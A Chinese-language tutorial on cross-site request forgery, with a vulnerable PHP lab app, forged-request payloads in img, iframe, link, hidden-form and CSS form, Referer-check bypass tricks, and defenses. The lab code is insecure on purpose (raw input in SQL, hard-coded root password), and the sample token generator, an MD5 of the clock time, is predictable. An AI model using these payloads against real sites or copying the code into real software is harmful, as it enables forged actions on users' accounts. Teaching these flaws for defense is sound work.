0x00 CSRF简介
CSRF(Cross-site request forery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或XSRF。
XSS与CSRF区别:
- XSS利用站点内的信任用户,盗取Cookie。
- CSRF通过伪装成受信任的用户请求受信任的网站。
个人简单理解就是构造一个访问某个网站的请求,但是我们没有这个权限,被网站拦截了。这时我们将这个请求的链接放在一个伪装的页面里,然后引诱有权限的用户去点击,从而达到伪造攻击受信任网站的目的。
0x01 CSRF漏洞原理
利用目标用户的合法身份,以目标用户的名义执行某些非法操作。
举个简单的转账案例。
首先初始的链接是:http://www.xxx.com/pay.php?user=xxx&money=100
构造恶意的链接:http://www.xxx.com/pay.php?user=恶意用户&money=10000
服务端代码如下:
<?php
//会话验证
$user=$_GET["user"];
$money=$_GET["money"];
//转账操作
?>
由此可以得出CSRF成功利用条件:
-
用户已经登录系统
-
用户访问对应URL
0x03 GET型CSRF
代码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
$username = $_GET['username'];
$password = $_GET['password'];
$conn = mysql_connect("localhost", "root", "123456");
$db = mysql_select_db("csrf_test");
$query = mysql_query("SET NAMES 'gbk'");
$sql = "INSERT INTO `adminsql` (`id`, `username`,`password`) VALUE (13, '$username', '$password')";
$row = mysql_query($sql); //执行sql插入语句
$sql = "SELECT * FROM adminsql";
if($row = mysql_query($sql)){
while($rows = mysql_fetch_array($row)){
echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CSRF测试平台</title>
</head>
<body>
<b><h2>GET型 CSRF</h2></b>
<p>需要GET提交 username,password</p>
</body>
</html>
构造GET型UTL,提交username和password参数,以此来新建对应的用户名和密码。
http:127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin1111&password=12323
隐蔽利用 img标签 src属性,并将下面这个标签放在一个html文件中发给用户。
<img src=”http:127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin1111&password=12323”>
0x04 POST型CSRF
代码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
if(isset($_POST['sub'])){
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysql_connect("localhost", "root", "123456");
$db = mysql_select_db("csrf_test");
$query = mysql_query("SET NAMES 'gbk'");
$sql = "INSERT INTO `adminsql` (`id`, `username`,`password`) VALUE (13, '$username', '$password')";
$row = mysql_query($sql); //执行sql插入语句
$sql = "SELECT * FROM adminsql";
if($row = mysql_query($sql)){
while($rows = mysql_fetch_array($row)){
echo "user:{$rows['username']}-----pass:{$rows['password']}"."<br/>";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CSRF利用场所</title>
</head>
<body>
<b><h2>CSRF测试环境</h2></b>
<form action="" method="post">
<b>user:<input type="text" name="username" /></b>
<b>pass:<input type="password" name="password" /><b>
<input type="submit" value="Ok" name="sub" />
</form>
</body>
</html>
这时我们需要构造一个页面,页面设置表单用于提交,并且很多输入值都隐藏了,使用我们预设的值。如下所示。
<!DOCTYPE html>
<html>
<head>
<title>黑客构造的需要用户权限的页面</title>
</head>
<body>
<form action="" method="post">
<input type="hidden" name="username" value="hacker" />
<input type="hidden" name="password" value="dosomething" />
<input type="submit" value="Ok" name="sub" />
</form>
</body>
</html>
这样将这个页面发给用户,用户在其权限下执行了操作即构成POST型CSRF。
0x05 CSRF漏洞防御措施
-
二次验证(一般情况下使用js验证,但是否执行成功取决于用户,不建议使用)
- HTTP Referer头防御
- 设置Anti-CSRF Token
- HTTP自定义头
如果web应用程序的HTTP请求中没有对应的预防措施,那么很大程度上就确定存在CSRF漏洞。
0x06 CSRF自动化探测工具——CSRFTester
CSRFTester是一款CSRF漏洞的测试工具。
CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改测试的请求成功被网站服务器接收,则说明存在CSRf漏洞,当然此款工具也可以被用来进行CSRF攻击。
0x07 CSRF漏洞修补——Token
1. CSRF漏洞实质
服务器无法准确判断当前请求是否是合法用户的自定义操作。
如果服务器在用户登录之后给予用户一个唯一合法令牌,每一次操作过程中,服务器都会验证令牌是否正确,如果正确那么执行操作。不正确不执行操作。一般情况下,给予的令牌会写入表单中隐藏域的value值中,随着表单内容进行提交。
2. 简单模型:
* 登录验证login.php * 登陆后执行操作(增删改查) * 登录成功后,给予唯一令牌Token * 没有登录成功执行操作自动跳回登录 * 登录成功后执行操作,操作过程中有cookie提交的身份凭证
CSRF就是将伪造链接发给已经登录的用户点击,这样就会带上cookie。如果给每个表单唯一的令牌作为唯一标识,那么攻击者不知道这个token值,发给用户去点击跳转过去也是没有token的,所以可以有效防止CSRF。
3. 如何生成Token
<?php
function generateToken(){
$salt = "test".date("h:i:s");
$token = md5($salt);
return $token;
}
$token = generateToken();
echo $token;
?>
0x08 Referer防御CSRF原理
1. 防御原理
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
当用户点击被构造好的CSRF利用页面,那么在执行用户对应操作时,提交的HTTP请求中就有对应的Referer值,此时服务器判断Referer值是否与服务器的域名信息有关,如果不相关则不执行操作。
2. 绕过技巧
- 利用data协议绕过referer为空:data:text/html;base64,[base64编码的html]
- 利用https协议绕过referer为空:https向http跳转的时候referer为空
- 利用二级域名绕过referer验证域名
- 新建文件夹绕过referer验证关键词:referer验证关键词google.com,那么就在网站后台建立一个文件夹命名为google.com,构造链接时写这个文件夹所在的路径,即可绕过关键词
- 伪造子域名绕过refer验证域名:如验证的是test.com,那么我们可以构造test.com.xxx.com来绕过
0x09 CSRF常见四种利用方法
1. a标签
在HTMl中,a标签代表链接,可以将当前的“焦点”指引到其他位置。 移动的“焦点”需要发送对应的请求到链接指向的地址,然后返回相应。
<a href=”请求地址,会被http请求到的位置,可以携带GET型参数”>内容</a> <a href=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin&password=12345”>请点击我</a>
2. iframe标签
iframe标签内容将在页面加载过程中自动进行加载,src指向的位置就是页面请求的位置。 注意可以设置iframe的style->display:none,以此来不显示iframe加载的内容。
<iframe src=”http://127.0.0.1/csrf_test/get_csrf/new_user/php?username=admin&password=123456” style=”display:none” />
3. img标签
img标签的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求。
<img src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin&password=1223455” />
4. CSS-background利用
可以利用CSS中background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求。
例如:
body{
background:#00FF00 url(bgimage.gif) no-repeat fixed top;
}
其中bagimage.gif可以替换为链接。
body{
background:#00FF00 url(http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin&password=1223455) no-repeat fixed top;
}
0x0a CSRF三种防御方法
1. 验证码防御
验证码防御被认为是对抗CSRF最为简单而且有效的防御方法。
CSRF在用户不知情的情况下完成对应操作,而验证码强制用户与应用程序交互,才能最终完成操作。通常情况下,验证码能够很好的遏制CSRF。
出于用户体验考虑,不可能每一个操作都加入验证码,所以验证码只作为辅助手段,不能作为防御CSRF的主要解决方案。 验证码防御也可以认为是二次验证。
2. Referer Check防御
Referer Check主要用于防止(图片)盗链,同理也可以用来检查请求是否来自合法的“源”。
比如用户修改密码,一定是在登录系统后台之后进行操作。所以在修改提交表单的时候,一定会从系统后台页面提交,携带Referer头。
如果Referer不是当前系统的域,那么极有可能遭受CSRF。
缺陷:服务器并非任何时候都可以取到Referer,例如HTTPS跳转到HTTP。
3. Anti CSRF Token防御
CSRF本职原因:重要操作的所有参数都是被恶意攻击者猜测到的。 那么防御措施就是生成一个随机且不被轻易猜测的参数。目前大多数防御都采用token(不可预测)。
0x0b Token泄露
例如:GET型Token泄露 页面包含<img src=”http://evil.com/” />那么请求中的Referer就会携带对应的GET Token。
例如:POST型Token泄露 利用XSS漏洞读取Cookie,获取存储在其中的Token值。